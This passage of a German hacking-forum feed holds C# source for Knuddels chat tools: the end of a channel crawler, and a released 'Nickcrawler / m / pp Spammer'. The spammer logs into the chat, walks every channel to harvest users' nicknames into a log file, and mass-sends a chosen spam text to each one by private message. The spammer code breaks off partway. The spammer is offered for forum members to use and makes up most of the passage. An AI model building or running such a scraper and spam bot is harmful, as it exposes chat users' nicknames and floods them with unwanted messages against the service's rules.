style="color: #0000BB">ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Ansonsten<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Globale&nbsp;Variable&nbsp;erhält&nbsp;den&nbsp;aktuellen&nbsp;Channelnamen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChannelName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Anzahl&nbsp;der&nbsp;Chatter&nbsp;bestimmen&nbsp;(s.o.)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;ein&nbsp;Channel&nbsp;voll&nbsp;ist,&nbsp;wird&nbsp;in&nbsp;der&nbsp;vierten&nbsp;Stelle&nbsp;des&nbsp;Arrays&nbsp;das&nbsp;entsprechende&nbsp;Bild&nbsp;geliefert&nbsp;und&nbsp;wir&nbsp;prüfen,&nbsp;ob&nbsp;sich&nbsp;ein&nbsp;Teil&nbsp;davon&nbsp;dort&nbsp;befindet<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bool&nbsp;isFull&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"full"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;im&nbsp;Channel&nbsp;mehr&nbsp;als&nbsp;1&nbsp;Chatter&nbsp;ist,&nbsp;ist&nbsp;er&nbsp;nicht&nbsp;leer,&nbsp;ansonsten&nbsp;schon<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bool&nbsp;isEmpty&nbsp;</span><span style="color: #007700">=&nbsp;!(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Format,&nbsp;wie&nbsp;der&nbsp;Channel&nbsp;angezeigt&nbsp;wird&nbsp;(i&nbsp;=&nbsp;italic,&nbsp;p&nbsp;=&nbsp;plain)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;channelAppearanceFormatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;neue&nbsp;Liste&nbsp;initialisieren<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">images&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Pfad&nbsp;zur&nbsp;List&nbsp;hinzufügen,&nbsp;wenn&nbsp;es&nbsp;"pics"&nbsp;enthält<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"pics"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">images</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">channelParameters</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">3</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Gebe&nbsp;Channel&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">return&nbsp;new&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">(</span><span style="color: #0000BB">channelname</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">isFull</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">channelAppearanceFormatter</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">images</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">internal&nbsp;struct&nbsp;Channel<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">string&nbsp;_channelname</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;_chatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;_isFull</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;_isEmpty</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">char&nbsp;_formatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">_images</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">string&nbsp;ChannelName&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_channelname</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Chatter&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_chatter</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;isFull&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_isFull</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;isEmpty&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_isEmpty</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">char&nbsp;channelAppearanceFormatter&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_formatter</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Images&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_images</span><span style="color: #007700">;&nbsp;}&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Channel</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;chatter</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bool&nbsp;full</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bool&nbsp;</span><span style="color: #007700">empty,&nbsp;</span><span style="color: #0000BB">char&nbsp;formatter</span><span style="color: #007700">,&nbsp;List&lt;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">channelImages</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_channelname&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_chatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">chatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_isFull&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">full</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_isEmpty&nbsp;</span><span style="color: #007700">=&nbsp;empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_formatter&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">formatter</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_images&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">channelImages</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><br />
Bei Fragen, fragt mich einfach.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-knuddels-crawler-ohne-login-31012</guid>
		</item>
		<item>
			<title>Knuddels Nickcrawler / m / pp Spammer</title>
			<link>sourcecode-91/knuddels-nickcrawler-m-pp-spammer-30398?goto=newpost</link>
			<pubDate>Sun, 19 Jun 2011 06:48:05 GMT</pubDate>
			<description>Hey, 
  
ich wollte hier mal mein Tool releasen. Usen kann es jeder, der hier mehr als 10 Posts hat und weniger als 20 Warn-Punkte :D 
  
Ist jetzt...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
 <br />
ich wollte hier mal mein Tool releasen. Usen kann es jeder, der hier mehr als 10 Posts hat und weniger als 20 Warn-Punkte :D<br />
 <br />
Ist jetzt nicht direkt ein Bot release, sondern eher ein Source-Release, um Ein paar lustige Konsolen-Effekte (und coole C#-Features) zu zeigen :D<br />
 <br />
Den Auth-Part von K-S hab ich im Source mal rausgemacht..<br />
 <br />
<b>UPDATE:</b> er kann jetzt auch per /pp und per /m spammen. :)<br />
 <br />
code:<br />
 <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">using System;<br />
using System.Collections.Generic;<br />
using System.IO;<br />
using System.Net;<br />
using System.Security.Cryptography;<br />
using System.Text;<br />
using System.Text.RegularExpressions;<br />
using System.Threading;<br />
using System.Xml;<br />
using KNLib;<br />
namespace Lyralabs.Knuddels.Nickcrawler<br />
{<br />
&nbsp; public class Program<br />
&nbsp; {<br />
&nbsp; &nbsp; private static readonly Regex channelParser = new Regex(&quot;(?&lt;channel&gt;([^&quot;]{2,}))\n[0-9]{1,3}&quot;, RegexOptions.Compiled);<br />
&nbsp; &nbsp; private static readonly Regex chatterParser = new Regex(&quot;°&gt;_h(?&lt;nick&gt;(.+?))\\|/serverpp&quot;, RegexOptions.Compiled);<br />
&nbsp; &nbsp; private static readonly Regex channelNameParser = new Regex(&quot;Chatter im (?&lt;name&gt;(.+)) \\(&quot;, RegexOptions.Compiled);<br />
&nbsp; &nbsp; private static readonly string ApiUrl = &quot;---&quot;;<br />
&nbsp; &nbsp; private static readonly int SpamWait = 3000;<br />
&nbsp; &nbsp; private static List&lt;string&gt; channels = null;<br />
&nbsp; &nbsp; private static List&lt;string&gt; nicks = null;<br />
&nbsp; &nbsp; private static string currentChannel = null;<br />
&nbsp; &nbsp; private static string butlerName = null;<br />
&nbsp; &nbsp; private static bool cancelCrawl = false;<br />
&nbsp; &nbsp; private static void Main(string[] args)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;Willst du eine GUI haben? (Y/N)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo cki = Console.ReadKey();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.KeyChar == 'Y' || cki.KeyChar == 'y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // show gui<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else if (cki.KeyChar == 'N' || cki.KeyChar == 'n')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Falsche Eingabe!\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;K-Script Username: &quot;);<br />
&nbsp; &nbsp; &nbsp; string ksUser = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; string ksPass = ReadPassword(&quot;K-Script Passwort: &quot;);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp; &nbsp; &nbsp; StartWaiter();<br />
&nbsp; &nbsp; &nbsp; bool isValidUser = AsyncAuth(ksUser, ksPass, 10, 20, null);<br />
&nbsp; &nbsp; &nbsp; StopWaiter();<br />
&nbsp; &nbsp; &nbsp; if (waiterThread != null &amp;&amp; waiterThread.IsAlive)<br />
&nbsp; &nbsp; &nbsp; &nbsp; waiterThread.Join();<br />
&nbsp; &nbsp; &nbsp; if (isValidUser)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Okay, du bist authentifiziert!\n&quot;);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Fehler! Du hast keine 10 Posts oder mehr als 20 Warnpunkte!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(3000);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; KNClient client = new KNClient();<br />
&nbsp; &nbsp; &nbsp; client.OnReceive += new KNMessageEventHandler(client_OnReceive);<br />
&nbsp; &nbsp; &nbsp; RemoteEndpoint endpoint = (RemoteEndpoint)ChooseFromEnum&lt;RemoteEndpoint&gt;(&quot;Chatsystem auswählen: &quot;);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Ausgewähltes Chatsystem: {0}\n&quot;, endpoint.ToString());<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Connecting... &quot;);<br />
&nbsp; &nbsp; &nbsp; client.Connect(endpoint);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;done\n&quot;);<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Nickname: &quot;);<br />
&nbsp; &nbsp; &nbsp; string nick = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; string pass = ReadPassword(&quot;Passwort: &quot;);<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Channel: &quot;);<br />
&nbsp; &nbsp; &nbsp; string chan = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;\nEinloggen... &quot;);<br />
&nbsp; &nbsp; &nbsp; client.Login(nick, pass, chan);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;done\n&quot;);<br />
&nbsp; &nbsp; &nbsp; while (channels == null)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(100);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Es gibt {0} Channels.&quot;, channels.Count);<br />
&nbsp; &nbsp; &nbsp; TimeSpan time = new TimeSpan(0, 0, channels.Count * 3);<br />
&nbsp; &nbsp; &nbsp; Console.CancelKeyPress += ((object sender, ConsoleCancelEventArgs e) =&gt;<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; e.Cancel = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; cancelCrawl = true;<br />
&nbsp; &nbsp; &nbsp; });<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Alle Channels zu crawlen dauert ca. {0} Minuten.\nDrücke CRTL + C um den Crawlvorgang abzubrechen und mit dem Spammen zu beginnen\n&quot;, (int)time.TotalMinutes);<br />
&nbsp; &nbsp; &nbsp; nicks = new List&lt;string&gt;();<br />
&nbsp; &nbsp; &nbsp; foreach (string channel in channels)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cancelCrawl)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; client.Send(String.Concat(&quot;e\0&quot;, currentChannel, &quot;\0/wc &quot;, channel));<br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(SpamWait);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; catch (Exception) { cancelCrawl = true; }<br />
&nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; StringBuilder sb = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; foreach (string crawledNick in nicks)<br />
&nbsp; &nbsp; &nbsp; &nbsp; sb.AppendLine(crawledNick);<br />
&nbsp; &nbsp; &nbsp; File.WriteAllText(&quot;nick.log&quot;, sb.ToString());<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Alle nicks Gespeichert in nick.log ({0} Stück)\n&quot;, nicks.Count);<br />
&nbsp; &nbsp; &nbsp; SpamTypes spamType = (SpamTypes)ChooseFromEnum&lt;SpamTypes&gt;(&quot;Bitte wähle den Spam-Typ: &quot;);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Ausgewählter Spam-Typ: {0}\n&quot;, spamType);<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Spamtext: &quot;);<br />
&nbsp; &nbsp; &nbsp; string text = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; Spam(spamType, text, client);<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;\nEs wurden {0} Nachrichten versendet.&quot;, nicks.Count);<br />
&nbsp; &nbsp; &nbsp; Console.ReadKey();<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static void Spam(SpamTypes spamType, string text, KNClient client)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; nicks.Count; i++)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(SpamWait);<br />
&nbsp; &nbsp; &nbsp; &nbsp; string token = String.Concat(&quot;e\0&quot;, currentChannel, &quot;\0/&quot;, spamType.ToString().ToLower(), &quot; &quot;, nicks[i], &quot;:&quot;, text);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (client != null)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.Send(token);<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Sent {0} to {1}&quot;, spamType, nicks[i]);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; static void Console_CancelKeyPress(object sender, ConsoleCancelEventArgs e)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; e.Cancel = true;<br />
&nbsp; &nbsp; &nbsp; cancelCrawl = true;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static string ReadPassword(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; StringBuilder sb = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; Console.Write(label);<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo cki = Console.ReadKey();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Enter)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return sb.ToString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (sb.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Remove(sb.Length - 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Append(cki.KeyChar);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;*&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static int ChooseFromEnum&lt;T&gt;(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(label);<br />
&nbsp; &nbsp; &nbsp; string[] chats = Enum.GetNames(typeof(T));<br />
&nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;\t[{0}] - {1}&quot;, i + 1, chats[i]);<br />
&nbsp; &nbsp; &nbsp; Console.SetCursorPosition(label.Length, Console.CursorTop - (chats.Length + 1));<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo key = Console.ReadKey();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (key.KeyChar &gt; '0' &amp;&amp; key.KeyChar &lt;= '0' + chats.Length)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int chatSystem = (Convert.ToInt32(Convert.ToString(key.KeyChar)) - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
